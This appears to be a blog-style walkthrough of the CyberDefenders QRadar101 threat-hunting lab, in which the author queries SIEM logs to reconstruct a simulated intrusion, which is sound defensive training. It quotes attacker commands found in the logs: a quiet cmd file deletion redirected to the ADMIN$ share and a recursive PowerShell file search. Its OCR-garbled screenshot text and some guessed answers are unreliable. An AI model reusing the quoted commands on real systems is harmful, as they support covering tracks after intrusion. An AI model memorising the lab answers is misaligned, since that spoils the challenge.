CyberDefenders QRadar 101

G IBM QRadar

Sharing my thought process as | work through Cyberdefenders Qradar101 Threat Hunting lab. I've yet to

experiment with Qradar, so this will be a learning experience for me.

Lab Link: https://cyberdefenders.org/blueteam-ctf-challenges/qradar101/

Category: Threat Hunting
Tactics: Execution, Persistence, Privilege Escalation, Defense Evasion, Discovery, Lateral Movement, Collection,

Command and Control, Exfiltration

Scenario Overview

A financial company was compromised, and they are looking for a security analyst to help them investigate the
incident. The company suspects that an insider helped the attacker get into the network, but they have no

evidence.

The initial analysis performed by the company’s team showed that many systems were compromised. Also,
alerts indicate the use of well known malicious tools in the network. As a SOC analyst, you are assigned to

investigate the incident using QRadar SIEM and reconstruct the events carried out by the attacker.

Threat Hunting Questions

Q1: How many log sources are available?

Navigating to the admin console, under Data Sources | obtained a list of all log sources:
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/I, This interface will be unavailable in future versions of QRadar. Download the mew QRadar Log Source Management App from the IBM App Exchange.
Don't Show Me Again Remind Me Later

Search For: | Group ~ | |All Log Source Groups Go n 6
Log Log Source
Name Desc Status Protocol Group Source Enabled i
Identifier
Type
DC DC Error Syslog Micros... | True DC
HD-FIN-02 HD-FIN-02 Error Syslog Micros... | True 192.168.10.29
HD-FIN-03 Error Syslog Micros...  True HD-FIN-03
HD-HR-01 Error Syslog Micros... | True 192.168.12.11
HD-HR-02 HD-HR-02 Error Syslog Micros... | True 192.168.12.12
HD-IT-01 HD-IT-01 Error Syslog Micros... | True 182.168.11.11
HD-IT-02 Error Syslog Micros...  True 192.168.11.12
HD-IT-03 HD-IT-03 Error Syslog Micros... | True 192.168.11.13
MGNT-01 MGNT-01 Error Syslog Micros...  True 192.168.13.11
MGNT-02 MGNT-02 Error Syslog Micros... | True 192.168.13.12
pfSense-Firewall Metgate pfSense Error Syslog Metgat. .  True 192.168.101
S0-Suricata SecurityOnion Suricata Error Syslog Suricata | True 192.168.20.26
User10-HD-10 User10-HD-10 Error Syslog Micros...  True 192.168.10.10
Zeek_conn Error Syslog zeek_c... True 192.168.20.26
| Zeek HITP Error Syslog zeek hitp True 192.168.20.26
Displaying 1 to 15 of 15 items (Elapsed time: 0:00:00.093) N

Q2: What is the IDS software used to monitor the network?
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Within log sources module, the IDS software of Suricata is listed.

Q3: What is the domain name used in the network?

Researching the query language for Qradar, | was able to understand that Qradar utilizes AQL, which seemed

similar to SQL to me.

Since we are searching for the domain name, this information should be present in logins, so | ran a query to
display all successful logins within the date range of 9/4/2020 through 9/4/2025 since the specific date range of

the attack was not specified.

SELECT * FROM events WHERE "eventId" = 4624

The query returned 1,531 results of successful logins all occurring on October 29th, 2020.

Doshbowrd  Oflenses  LoghActviy  Network Acihily

Seacn ¥ Cuick Searcnes ¥ Y o Feer [ Eme crenn () Save Rosams

v Pues ¥ Amons ¥ o

Advanced Search  ~ | SELECT = FROM events WHERE “eventld

Start Time | 9/4i2020 ~ | 1159PM - EndTime 9/5/2025 ~ | 1204aM - [update|

View: SalectAn Option: |~ Display:| Default (Normalized) ~  Resuls Limit

E Completed
¥ Current Statistics

Tatal Results 1531 (2.1MB Total) Compressed Data Files Searched 0 (08 Total) Duration 15 73ms.
Dol Fdes Seasched 3255 (TBMB Tola)  Index File Gounl. O(BTols)  More Delais

Records Matched Over Time
014120, 11'50 PM - 9I525, 1204 AM v
2%
0c129, 2020, 6:42:21 M
W tched Resuls: 1521
" -
1071120 1213120 A ERiE] 1071721 1273121 a2z 7 10722 127322 Az 7mizs 1011723 273z aza e 1071124 1z78124 ammizs
(Upeste Detais
(e Gy
starttime protocolid sourcelp Togsourceld aig sourceport eventcount magnitude identitylp destinationip destinationport category usemame
1605011690338 255 182.168.20.20 k2l 5000830 [) 1 5 0000 1921682020 [ 3115 (7
1604915383617 255 192.168.13.11 213 5000830 ] 2 5 0000 192.168.13.11 [] 3115 A
1604915302707 255 102.168.12.12 263 5000830 ° 2 5 0000 102.168.12.12 ° 3115 {7
1604915606456 255 192.168.10.20 215 5000830 o 1 5 0000 192168.10.29 [ 3115 A
1604915696456 25 192.168.10.29 215 5000830 ) 1 5 0000 192.168.10.29 [ 3115 (7
1604915574488 256 192.168.11.11 21 5000830 [ 1 5 0000 192.168.11.11 0 315 A
1604915635460 255 192.168.10.28 215 5000830 ] 1 5 0000 192.168.10.20 [] 3115 N4
1604915635676 255 192.168.10.20 215 5000830 o 1 5 0000 192168 10,29 [ 3115 A
1604915523107 255 192168.11.11 218 5000830 () 1 5 0000 192.168.11.11 [ 315 WA
1604915523107 255 192168.11.11 21 5000830 o 1 5 0000 1921681111 0 3115 [T

Analyzing the first present log, | was able to inspect the payload information, in which the account domain of
“HACKDEFEND.local” was present.

Payload Information

ut | nex | basebs | 3
Bwrap Text

<13>Hov 18 84:34:45 OC i ogFi urity is .2.9.185 i i ty-Auditing Computer«0C. hackdefend. local OriginatingComputer=152.168.28. 20 User= Domaine EventlD-4624
EventIDCodesds2d EventTypess T 1505011682 Tinelirittens1685611682 Levelslog Aluays Keywords=hudit Success TasksSE_ADT LOGON_LOGON OpcodesTnfo  Messagesén account ues
successfully logsed on. Subject: Security 10: NI AUTWORITYASYSTEM dccount home: OCS Account Domsin: Logen 10: GJE7 Logon Type: 5 Impersonation Level: Impersonstion Mew Logon: Securify ID: NT AUTRITVSYSTEN Account Nome:
SYSTEM Account Domain: NT AUTHORITY Logon I0: @x3E7 Logon GUID: (9@60800d-0808-000d-0090-000000080800) Process Information: Process I0: Gx28c Process Name: C:\Windows\System3Z\services.exe MNetwork Information: Workstation Name: Source Network
Address: - Source Port: - Detailed Authentication Informatien:
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Q4: Multiple IPs were communicating with the malicious server. One of them ends with “20". Provide the full IP.

Ironically, | noticed the first IP that was given in my successful logon query ended in .20, which solved my

answer.

Q5: What is the SID of the most frequent alert rule in the dataset?

As im still getting familiar with Qradar, | was unsure on how to group by a column, after doing some research, |
was able to find the SID of the most frequent alert by Log Activity > Search > Edit Search > Column or Select

From List.

IBM QRadar Security Intelligence - Community Edition

Offenses Log Activity Network Activity

£ Manage Search Results | {7 Manage Custom Properties

¥ Advanced View Definition
Type Column or Select from List

sid

Awailable Columns Group By:
RULE SID (custom) ] RULE SID {custom)

ol
i

Columns
Event Mame
Log Source

Event Count (Sum)

II
II

= Start Time (Minimum)
.Cahegcary
Source IP
Order By:
Count v Desc W

Results Limit
1,000
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Grouping By:
RULE SID (custom)

Current Filters:
Payload Matches Regular Expression is sid  (Clear Fiier)
* Currant Statistics

Total Resuts 112 (9738 Total) Compressed DataFies Searched Q0B Tola)  Duration  536ms
Cata Fies Soarched 3250 (738 Tolal)  Inde Fie Count O(OBTolal) Mo Delals
Top 10 RULE SID (custom) Resul ) Top10RULE SID (custom) Results L&)
914720 631 PM - 9/5725 1231 AW 4720 631 PM - 9/5725 1231 AW
100
[ 7
50
Bas 25
\ N
* Logend 7 Legend

oo @B2009702 MM2001551 WBNA WR202S644 207202 @201z EBRSTOT  207rse WRRNTIIY 207065 2009702 2001581 @BNA @RSGH 2002 @202 @BMSTOT  20z72se WRR0ZTITO

By filtering on SID column, the search returns a pie chart explicitly giving me the amount of alerts with the SID

associated.

The most frequent PID was associated with DNS queries to .cloud domains, flagging them as potentially bad
traffic.

Q6: What is the attacker’s IP address?

By reviewing the Offenses tab in Qradar, we can identify a specific offense related to excessive firewall denies
between hosts. This offense tells us the source IP address that is causing these excessive firewall denies

resulting in this offense.

1BM QRadar Sacurity Intelligence - Community Edition

Dmtbowd | Ofincs | LogAchly  Nehwork Actvey

Offenses Sewen. ¥ f{sswonans Acseesw et [P e | I~
My Offense
All Offenses  View Offenses with: Select An Option: v
AltOffinsss Current Search Parameters:
By Category
1 [ Description OMenseType  Offenso Source  Magnitude Source IPs Destination IPs i
By Source P ¥ Chained containing Script Block ExeculediCompiled | 1921682020 M 162.168.20.20 | 192.168.20 20 "
13 Exploil Folowed by Suspicious Host Activit - Chained containing Module Logging Comemand Invacation Saurce 1P 102.168.20.20 192.158 2020 192.168.20 20 Multipie
8y Destination P @R 18 Explort Followed by Suspicious Host Activity - Chained containing Module Logging Command Invacation Source 1P 192.168.20.20 192 168 20.20 192 168.20.20 Muttiple
21 Exploit Folowed by Suspicious Host Activity - Chainod containing Moduli Logging Command Invacation Saurce 1P 192.168.20.20 192.168.20.20 192.168.20 20 hutgle
By Network 2 Exploil Followed by Suspicious Host Activity - Chained containing ip Policy settings or the user Saurce 1P 192.168.10.11 182.168.10.11 182.168.10.11 Multiple
] Chained conlaining Success Autit Successtul logon wilh administralive or specil privileges Source IP 192.168.12.11 182,168, 12,11 192,168.12.11 Muligle
Rules 8 Exploit Followed by Suspicious Host Activity - Chained containing Success Audt Successful logon wilh administrative of spacal privileges Saurce 1P 192.16810.15 192.168.10.15 192.168.10.15 hultiple
11 Explof Folowed by Suspicious Host Actvty - Chained containing Success Audit Successul logan with administrative or special prnileges Saurce 1P 192.168.11.13 192168 11.13 182,168.11.13 Multigle
12 Exploil Folowed by Suspicious Host Actvty - Chained containing Success Ausi Successful logan wilh administralive or special piiileges Saurce 1P 192.168.10.15 192.168.10.15 192.188.10.15 Multiple
14 Exploi Folowed by Suspicious Host Actvty - Chained containing Success Audit Successful logan wilh adminisiative or specil priileges Saurce 1P 192168 11.11 182.168.11.11 182.168.11.11 Nultiple
16 Exploil Folowed by Suspicious Host Actvity - Ghained conlaining Success Audit Successful logon wilh administralive or specil prrvileges Source IP 192.168.10.15 192.168.10.15 192,188.10,15 Multgle
19 Exploil Folowed by Suspicious Host Activity - Chained conlaining Success Ausit: Successful logon wilh administralive or spacil privileges Saurce 1P 10216812 11 192.168.12.11 182.168.12.11 Multigla
22| Exploil Folowed by Suspicious Host Activity - Chained containing Success Audit Successful logon wilh adminisiralive or specal pivleges Saurce 1P 192.168.12.12 182.168,12.12 182,168.12.12 elie
23 Exploil Followed by Suspicious Host Acivity - Chained conlaining Success Audit Successiul logon wilh adminisiralive or specl pinvieges Source 1P 192.168.10.28 192.168.10.29 192.188.10.29 hultgle
24| Exploil Followed by Suspicious Host Activity - Chained containing Success Ausit Successful logon with administrative or spacal privieges Saurce 1P 192.16813.12 182.468.13.12 192.168.13.12 Adminis
Explofl Followed by Suspicious Host Acivity - Chained conlaining Success Audt: Successful logon wilh administraiive or specal prrvileges Source IP 192.168.10.15 182.168.10.15 192,168.10,15. nour
g i il b i i L 1P 192.168.11.11 192.168.11.11 192.188.11.11 hiultisle
Excessive Firewail Denies Between Hosis containing Firewall - Deny aurce P Local (250) A
UGCCSSTU TOg0N Wilh JUTARITATe Of SOECAN DITESes Source P 192.168.12.12 192.168.12.12 192.168.12.12 i)
20 Exploil Foflowed by Suspicious Host Activity - Chained containing Success Audit Successful logon with administrative or spacial privieges Saurce 1P 192.168.11.11 192.468.11.11 162.168.11.11 hiultiole
5 Mulliple Lagin Failures for the Same User containing Falure Audi An account falled 1o Iog on Usemome | Guest 192.168.10.10 182,168.10,10 Guest
9 Login Failures Followed By Success rom the same Usemame praceded by Muliole Login Failures for the Same User containing Failure Audit. An account fajed 1o log on Username | aradarcolector Mutiple (5) Locel (5) aratare
47 Login Failures Faliowsd By Success from the same Usemame precedsd by Mullple Login Failures for the Same User containing Fallure Autit: An account faied ta lag on Usemame | qradarcodector Mutiple (5) Local (6) qratarc
0 General i Admin Login User Login Failure and User Login Success Usemame  qradarcoliector Hulliple (4) Local (4) aratare
5 Mulipla Login Faiures for the Same User containing Failure Audit: An account failed to log on Usemame | Guest 192.468.41.11 162.168.11.11 Guest
1 Flow Sourcelintertace Stopped Sending Flows Rue Flaw Source Stopped 182.168.20.21 ®18098 A

Displaying 1 to 26 of 26 items (Elapsed time: 0:00.00.112)

Q7: The attacker was searching for data belonging to one of the company’s projects, can you find the name of

the project?
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To find the name of the project that the attacker was searching for, | tried filtering by the attackers IP address,

but unfortunately did not find much besides connection records and NIDS alerts.

| stopped filtering by the original attacker IP address of 192.20.80.25, and decided to filter on the payload. Using

a specific payload contains regular expression filter on “project” .

=  IBMQRadar Security Inteligence - Community Edition

Dashboad  Ofinses  LogAchily  MetworkActy  Asmels  Reports  Admin

Saxcn_ Y CuexSescss v Y asorrer |5 swe Croena ) Save Resus QA Concat %, FaisaPosive RuMs T Actons ¥ )
Advanced Search  ~ Q Search
Start Time | 1/1/2020 - 307 PM ~ | End Time | 1213072021 -] 307PM - !pj&‘le
View:| SalectAn Option: |~ | Display | Dafault (Normalized) |~ Results Limit =
"] Completed

Current Filters:
Payload Matches Regular Expression is project  (Clear Filter)

¥ Current Statistics

Total Results 4(5.7KB Total) Compressed Dala Files Searched  Subsearch (No Compressed Data Files)  Duraion 1485
Dals Fies Searched  Subsearch Fies) Moge Delaily

Event Name Lag source Evemt Count Time = Low Level Category source 1P source Port Destination 17 Destna! | usemame | Magnituge
Moduia Lagging Command invocaion HO-FIN-03 1 Nav 8, 2020, 10:38:50 Pt Command Exacuion 192.168.10.15 0 1624621015 [ nour — —
Fipeing Exacation Datails For Command Line HD-FIN.03 1/ Nov'8, 2020, 1039,50 P14 Infarmation 192.163.10.15 0 192.168.10.15 0 WA -
Mot Logging Command Invacation HD-FIN-03 1 Mov®, 2020, 10.3908 PM Command Execuion 192,188 10.15 0 19216810 15 o nour ——
Fipeline Exscution Detalls For Command Line HD-FIN-03 1/ Nov, 2020, 10:39:08 PM infarmation 192168 10.15 0 1621681015 o WA —

Displaying 1 fo 4 of 4 ems (Elapsed ime: 0:00:00.061)

By combing through the logs, we can identify a private IP address of 192.168.10.55, suggesting the attacker has
compromised an internal host belonging to that 192.168.10.55 address and gained a foothold within the
network. Additionally, by going through the 4 logs in which the payload contains “project”, the payload

information tells us the targeted project (project48).

Payload Information

ut | hex | basesd |
Blwrap Text

.

<133Moy B8 14:39:45 HD-FIN-B3 ARENTDSVACE-WLMOKSLOR  AQEMTLOFile-HLNGOWS Puwershell PlupdhWersion=7.2.9.125 Source=PowerShell Conputer=HD-FIN-23.hackdefend. local  OriginatingComputer=192.168.12.15 user=  Domaine EventID=gee

EventIDCode=809 EventType; L34 “ .. ormational Keymwords=Classic Task=Pipeline Execution Details Opcode=Info Message=Pipeline execution
. J Context Information: DetailSequence=1 Detailfotal=l Userla

Feion=5.1.13362.1110 Tce3nEy P £ Commengline=Get-ChildItes -

Hosthme=ConsoleHost HostVersionts.l. 5 G t1d-19bebcet-c /2 16 30-026A-
Path Ci\Users\nour.HACKDEFEND -Filter project48 -Recurse -ErrorAction SilentlyContin

Q9: What is the username of the infected employee using 192.168.10.15?

From the payload information and log information pertaining to the source IP, we identified the compromised
host IP address of 192.168.10.15, filtering logs between May 1st, 2020, and December 30th, 2025, on the
compromised host IP address and event ID 4624 for a successful logon. Through the logs, we are able to identify

the compromised user “nour”.
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Daboad  Ofiwes  LogAchily  Mebwork Activly . Syster Time: 350 PM

Sexch_ ¥ CuekSewches ¥ Y AdeFier | Save Croeria (€ SaveResus o
Start Time | 5/112020 -1 343PM - EndTime | 12302020  ~|| 343PM - |[Update
View: | Soleet An Option: |~ | Display: Default (Normalized) |~ | Resuls Liniit -2
Completed
Current Filters:
‘Source or Destination |Pfs 192.168.10.15  (Clear Filler) EventlD (custom) is any of 4624  (Clear Filler)
* Current Statistics
Total Resuts 109 (155KE Total) Gompressed Data Fies Searched  Subsearch (No Comprossed Dala Fies)  Duaon  238ms
Daia Fies Searched  Subsearch More Deais
Event Hamo Log Soutce Event Count Time Low Level Category Source IP Source Port Destination IP Dot [“usemame | magnitude
Success Augit An account was sucoessiuly logged on HO-FIN-D3 2 Nov 8, 2020, 11:2027 PM User Login Success 192.188.10.15 [} 192158.10.15 [] niA —
Suceass Audit: An account was successfuly logged on HO-FIN.03 2 Now &, 2020, 11:10:24 PM User Login Success 192.168.10.15. 0 182.168.10.15 ] i [—
Success Audit An accaunl was successiuly lagged on o 1 Nov 8, 2020, 11:14:08 PM User Login Success 162,168.10.15. 50149 162,168:20.20 ] nour -
Success Audil: An account was successiull logged on 1 Nov 8, 2020, 11:13:47 P User Login Success 192.188.10.15 50147 192.166.20.20 [] [ —
Success Aucit: An accaunt was successfuly logged on HOFIN-03 2 Mow 8, 2020, 11:10:08 PM User Login Success 162.168.10.15. 0 162.166.0.15 ] A -
Sucoess Audit An account was successfull logged on HD-FIN-03 2 Nov 8, 2020, 11.06:38 PM User Login Success 192.188.10.15 [] 192158.10.15 [] WA —
Success Audit: An account was successfull logged on HO-FIN-03 2 Now 8, 2020, 11-05:35 PM User Login Success 192.168.10.15 [] 182.166.10.15 ] A —
Success Aucil An accauni was successfuy 9gged on o 1 Nov 8, 2020, 10,5842 P User Login Success 162,168,101 s0113 162,166.2020 ) ua o
Sucoess Ausil An accaunt was successfull logged on HD-FIN-03 2 Nov 8, 2020, 10.57:23 P User Login Success 192.168.10.15 [] 192.158.10.15 [] NiA —
Success Audit: An accaunt was successfull logged on [ 1 Nov 8, 2020, 10:56:47 PM User Login Success 192.168.10.15. 50106 162.166.20.20 ) nour -
Sucoess Audil An accaunl was successiull l9gged on HO-FIN-03 2 Nov 8, 2020, 104847 P User Login Success 192.188.10.15. [] 192.158.10.15 [] A —
Success Audit: An account was successiull logged on HO-FIN-03 2 Now 8, 2020, 10:47:55 P User Login Success 192.188.10.15 [} 182.166.10.15 0 NA —_—
Success Aucit: An accaunt was successfuly logged on [ 1 Nov 8, 2020, 10:4339 PM User Login Success 192.168.10.15 50880 182.168.20.20 () (7Y -
Sucooss Ausil An accaunt vas successfull logged on HO-FIN-03 2 Nov 8, 2020, 104249 P Usar Login Success 192.188.10.15 [] 192166.10.15 [] A
Success Autit: An accaunt was successfuly logged on HO-FIN-D3 4] Mow 8, 2020, 10:41:35 P User Login Success 192.168.10.15 [] 162.166.10.15 ) A
SUCoBSS AUGIT: AN ACCIUNE WS SUCCESSIY 099€d on HOFIN-03 1 Nov 8, 2020, 103500 P User Login Success 162.168.10.15 ] 1621661015 [ A —
Success Audit: An account was successfull logged on HD-FIN-03 1 Mo B, 2020, 10:35:48 PM User Login Success 192.168.10.15 [] 192.166.10.15 [ WA —
Success Augit An accaunt was successfuly logged on [ 1 Nov 8, 2020, 10:30:43 PM User Login Success 162.168.10.15. 50834 162.168.20.20 () nour -
SUCODSS AUGIT AN ACCIUNL VA5 SUCCOSSILE 09080 01 1 Nov 8, 2020, 102839 P Usar Loain Success 192.168.10.15 49957 182.168.20.20 [ run s
Success Audit: An account was successiuly lagged on HO-FIN-03 2 Now 8, 2020, 10:27:45 Pl User Login Success 192.168.10.15 ] 162.166.40.15 [) WA —
SUCORSS AUGIT AN ACCIUNE WS SUCCESSILE (09083 on HOFIN-03 2 Now 8, 2020,10:25:29 Pt User Login Success 192.168.10.15 [] 182.166.10.15 [] A —
Success AUGIt: An account was successfuly (0gged on [ 6 Nov s, 2020, 102521 P User Login Success 192.168.10.15 40913 182.168.2020 [ nour s
Success Augit: An account was successfuly logged on [ 2 How 8, 2020, 102459 Pt User Login Success 182.168.10.15. 49801 162.168.20.20 () nour s
SUCODSS AUGIT AN ACCIUNE ¥AS SUCCOSSILEY (09080 on [ 1 Nov 8, 2020, 102449 P10 Usar Login Success 192.168.10.15 49877 182.168.20.20 [ nour o
Success Audit. An account was successfully logged on [ 1 Mo 8, 2020, 10:24.49 P11 User Login Success 102.168.10.15 40872 182.168.20.20 ) nour -
Sucosss AUGH: AN BCCIUNE WS SUCCESSIY 0998d o [ 1 Nov 8, 2020, 10:24:49 P User Login Success 162.168.10.15 45871 1821662020 [] nour —_——
Suceess AUl An aCCaunL was SUCCOSSIURY [0gged on oc 2 Nov 8, 2020, 102449 FIt User Login Success 192.168.10.15 49879 192.168.20.20 0 nour ——
Success Audit An accaunt was successfull logged on HO-FIND3 8/ Hov 8, 2020, 10:2447 P11 User Login Success 192.168.10.15 o 182.168.10.15 () rua —
SUCODSS AUGIT AN ACCIUNE ViaS SUCCOSSILEY (09080 o1 HOFINGE 1 Nov 8, 2020, 102130 P Usar Login Success 192.168.10.15 [l 182.16610.15 [ 1A f—
Displaying 81 10 100 of 100 tems (Elapsed ime: 0.00:00.073) PageB_ | <1 2030

Q10: Hackers do not like logging, what logging was the attacker checking to see if enabled?

To try and find this information, | originally tried filtering on the username “nour” and event IDs 4719 and 1102.
Unfortunately, this returned unsuccessful, so | tried a different approach of filtering on events of process creation
(4688). This also was unsucessful. Instead, | focused on any logs related to the username “nour”. Looking at the

first chronological logs related to nour, | found several logon/offs, and a powershell console started.

Start Time | 5/112020 ~|| 343PM  ~ EndTime 123072020 - || 343PM - | Update

View: | Select An Option: |~ | Display. Default (Normalized) |~ | Results Limit =

Completed

s any of nour  (Clear Filter)
¥ Current Statistics

otal Results 138 (183 7KB Tota) o Fies)  Duaty %
Dafa Fles Searched  Subsearch (NoDataFiles)  Index Fil Count Subsearch (o Index Fies)
Event Name Log Source Event Count Time ~ Low Lavel Category Source IP Source Port Destination IP oS Usamame | Magnitude
[PowerShell Console Ready HD-FIN-03. 1 Nov 8. 2020, 10:3825 PM i 1921681015 0 192 168 10.15 0 nour
|| IPC istening thread started HO-FIN-03 | 1[Novi 2020 10:3825PM ______linformation | 18681045 o | feMewis 0|

PowersShell Conzale Started HO-FIN-03 1 Nov 8 2020 103815 PM Information 19216810 15 0 192158 10 15 0 Jour —
Suceess Audit: An account was successully logged on oc 1 Nov 8, 2020, 10:30:13 PM ‘User Legin Success. 192.168.10.15 50024 192168 20 20 [] nour — -
Success Audit. An account was logged off Dc 1 Nov 8, 2020, 10:30:13 PM Host Logout 192 168 2020 o 192158 20 20 0 nour

Suceess Audit: An account was logged off nc 1 Nov 8, 2020, 10:26:13 PM Host Logout 192.168.20.20 o 192.168.20 20 0 nour

Success Audit: An account was legged off Dc 1 Nov 8, 2020, 10:26:03 FM Host Logout 192 168 20.20 o 102 168 20.20 L] naur

Suceess Audit: An account was successfully logged on De & Nov 8, 2020, 10:25:21 FM User Legin Suctess 182.168.10.15 48913 192 168.20.20 [ nour

Success Audit. An account was logged off [ & Novg, 2020, 10:2521 PM Host Logout 192.186.20.20 o 192.168.20.20 [} nour

Suceess Audit: An account was logged off oc 2 Nov 8, 2020, 10:24:59 PM Host Logout 192.168.20.20 o 192.168.20. 20 0 nour

Success Audit. An account was successfully loged on [ 2 Nov8, 2020, 10:24:50 PM User Login Succass 192.166.10.15 49881 192.168.20 20 [} nour

Success Audit An account was Iogged of! [ 1 Nov 8, 2020, 10:2458 Fra Host Logout 182.166.20.20 [] 192168.20.20 0 nour

Success Audit. An account was logged off oc 1 Nov 8, 2020, 10.24:49 PM Host Logout 192.166.20.20 [ 192.168.20 20 [} nour

Success Audit: An account was successfully logged on [ 1 Nov 8, 2020, 10:24149 FM User Login Success 182166.10.15 ga77 192168.20.20 0 nour

Success Audit' A Kerberos service licke! was granted Dc 1 Nov 8, 2020, 10:24:49 PM Kerbaros Session Opened 192 168.10.15 40874 192 158 20.20 0 naur

Success Audit: An account was successfully 1ogged on [ 1 Nov 8, 2020, 10:24149 FM User Login Success 192166.10.15 age72 192168.20.20 0 nour

Success Audit: An account was legged off Dc 1 Nov 8, 2020, 10:24:49 PM Host Logout 192.168 20.20 o 192158 20 20 0 naur

Sucecess Audit: An account was successfully logged on Dc 1 Nov 8, 2020, 10:24.49 PM User Login Success 192.168.10.15 48871 192.168.20 20 0 nour.

Success Audit' An account was successiully logged on Dc 2 Nov 8, 2020, 10:24:49 PM User Login Succass 192 168.10.15 48879 192158 20.20 0 nour

Following the powershell console, a ton of module logging command invocation came after, outlining the

attackers use of PowerShell to possibly get more information about the environment.

Q11: Name of the second system the attacker targeted to cover up the employee?

To find information on this, we know the attacker is using PowerShell cmdlets to gain information on the
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environment. To find information on the second system the attacker targeted to cover up the employee, we can
filter on “Process CommandLine” containing “del”. 4 logs return, and combing through these logs, we can find a

suspicious cmd command.

cmd.exe /Q /c del sami.xlsx 1> \\127.0.0.21\ADMIN$\__1604917981.0572538 2>&1

— IBM QRadar Security Intelligence - Community Edition

Dashboard  Offenses  Log Activity NetworkActivity ~ Assets  Roports  Admin System Time: 4:26 PM
Return to Event List [8) Offense ) Map Event . False Pasitive [|() Extract Property  {J) Previous {JNext 3, Print (3} Obfuscation ¥

Cutinai Lz @
ParentCommandLine

(custom) ki

Parentimage

(custom) NrA

ParentimageName =

(custom) A,

Process

CommandLine cmd.exe /Q /c @8l sami.xlsx 1> W127.0.0.1\ADMINS\__1604917981.0572538 2-&1
| (custom)

Process Guid

feustom] i

Realm (custom) N/A

Scope (custom) NiA ) ) - ) ) ) ) _

Source Workstation |, deleting files/possibly evidence, and redirecting output to ADMIN$ would suggest attacker has gained elevated permissions

(custom) .

Domain Default Domain

Source and Destination Information

Source IP I 192.168.13.11 Destination IP 192.168.13.11

Source Asset Name NIA Destination Asset Name NiA

Source Port 0 Destination Port ]

Pre NAT Source IP Pre NAT Destination IP

Pre NAT Source Port 0 Pre NAT Destination Port | 0

Post NAT Source IP Post NAT Destination IP -

Examining the command that run, /Q turns on quiet mode, and /c is used to delete the file “sami.xlsx”, which
could be deleting important files maybe related to project48 or possibly evidence of some sort. The output is
then redirected to localhost/ADMINS which requires elevated permission to succesfully run, which indicates the

attacker has gained elevated permissions.

Q12: When was the first malicious connection to the domain controller (log start time — hh:mm:ss)?

Examining the first connections made to the DC we can filter on events of “Network Connection Detected”.
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=  IBMORadar Security Inteligence - Gommunity Edition

Distird LonAcidy  Meworkichdy  Asets  Rets  Aden
Seanh. v CuekSewches T W AkFRw |EfSacinra () SeRess G Cancel . Fasa Posve Fdes ¥ Actions.¥ o
Quick Filler = Search o
stant Time | 5112020 || awem - EnaTime| 12002020 - | 419PM - [Update
View. | Salect An Option: | - | Display:| Default (Normalized) | - | Resuls Limit| 1,000
Compleled
Current Fillers:

Evant Name is Nelwork connection detecled _ (Clear Filter)
¥ Curont SIabsis.

Tl Rzt O7(14KSTots)  Compresses O FaesSewched  O(STom)  Dumon  féws
OntsFies Seches 04 {B0BKSTom)  Inoex e Geunt 200 (570,645 Toespiars Dtay

Records Matched Over Time.
S0, 419 M - 120120, 319 PN

100

A

2 [ Jon 22 € 120 2 " Aug 31 tep s Sep 28 om 2 e o B W 22 Gect ec20
e et
(FedeCoar)
Event Name Log Source Event Count Time v LowLevel Categery Source P Saurce Port Destingtion 1P DESUMA  Username  Magnitude
Helwork connecton deleciod HE.FIHO3 54 bow 5, 2020, 114159 PM ACLPermit 152 185.10.15 [ 192 168.10.15. a wa —
Hetwork connecsan deteciod HE-FiN03 33 biow 8, 2020, 114148 P AGLPermit 152 186.10.15 a 192 168.10.15. [ wa —
Hetwork connecson detecied HO-FIN03 42 New d, 2020, 114135 P ACLPemt 182 166.10.15 ] 192 165,10 15 [ wa —_
Hetwork connecon datected HO-FIN03 31 Hov 8, 2020, 11:4127 P ACLPemt 182.166.10.15 [ 1821681015 [ A —
Hehwork connecton detecied HE-FIN03 43 Vev 8, 2020, 114147 P ACLPemit 152.166.10.15 [ 192.168.10.15 o wa —
Helwork connecton deleciod HE-FING3 3 Now 8, 2020, 114106 M ACLPermit 182.165.10.15 ] 192 168.10.15. ] s —
Network connecson detecied HO-FIN-03 71 Mo 2020, 11:40:56 P AGL Permit 152.168.10.15 [ 192.168.10.15 [ WA J—
HE-FIN03 28 1 114045 M ACLPermit 152 168.10.15 [ 152 168.10.15. ] s —
HO-FIH03 114035 Pt ACL Pemit 152.168.10.15 [ 192.168.10.15 [ WA —
HO-FIN.03 2020, 114035 Ph ACL Permit 192,166.10.15 [ 192168.10.15 o Wa —
HE-FIN03 2020, 114035 P ACL Permit 152.168.10.15 [ 182,168.10.15 [ A —
HO-FN.03 2020, 11.9035 P ACLPermit 182 168.10.15 [ 182 168.10.15 a n —
HD.IT01 2020, 113153 P ACL Pemit 162 168,11.11 [ 182.165.11 11 a [ —
Hetweek con tected HOT01 2020, 112724 P ACLPemit 182.168.11.11 [ 192.168.11.11 [ wn j—
Helwork connecton detecied Ho.T01 2020, 112724 P ACLFemit 152 165.11.11 o 152 160.11.11 o 1wa —
HO.FH.03 | 2020, (AGLPemil | missiis o | miewas o i —wm |
Hehwerk connecton delecied HO.F1H.03 1t , 2020, 10.31:02 PM AGLPermit 162 165.10.15 o 192,168, 10.15. a [} —
v
Displaying 81 10 97 of 87 lems (Elapse kme: 0.00:00 087) Pagei |3 <1288

Q13: What is the md5 hash of the malicious file?

By filtering on “hash”, we can find in the payload information ‘important_instructions.docx’ along with the MD5
hash.

Q14: What is the MITRE persistence technique ID used by the attacker?

Considering attack techniques used by the attacker, we can look at different persistence techniques in the MITRE

database.

Q15: What protocol is used to perform host discovery?

Considering tools like nmap are commonly used for host discovery, in which nmap uses ICMP “pings” to identify

is hosts are available.

Q16: What is the email service used by the company?(one word)

I tried filtering logs by source ports relating to any common email ports, any of [25 or 143 or 993 or 110 or 995 or

587 or 465], but unfortunately this was unsuccessful. After reviewing https://viewdns.info, we discover most IPs

are owned by Microsoft, so Office365 was suitable.

Q17: What is the name of the malicious file used for the initial infection?
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Referring to the previous question about the MD5 hash, the file name is included in the payload information.

Q18: What is the name of the new account added by the attacker?

To find information on account creations, we can filter on Event ID 4720, which signifies the creation of user
accounts. Filtering on this in Qradar, 1 log is returned, in which the new account was created by an Administrator.

Reviewing the payload information, we can find the username of the new account.

=  IBM QRadar Security inteligence - Gommunity Edition

Duttowd  Oteme  Logbty  Meorkicndy A Rt Aden
S v CuskSewshes v WA FMr S Crtvs € SaveRusct g Canel 4 Fabe Peste Rk ¥ Asiors v °
Quick Filter = Search

StaiTime| &142020  +| 216PM - |EndTme| 12312020 - | 516PM - [Undale |

View: | Select An Option. | = | Dipiay: | Defaull (Normalized) | = | Results Limit | 1,000
Gompleted

urrent Filters:
EvenliD (custom) ks any of 4720 _(Clear Fiter)

 Current Stalistics.

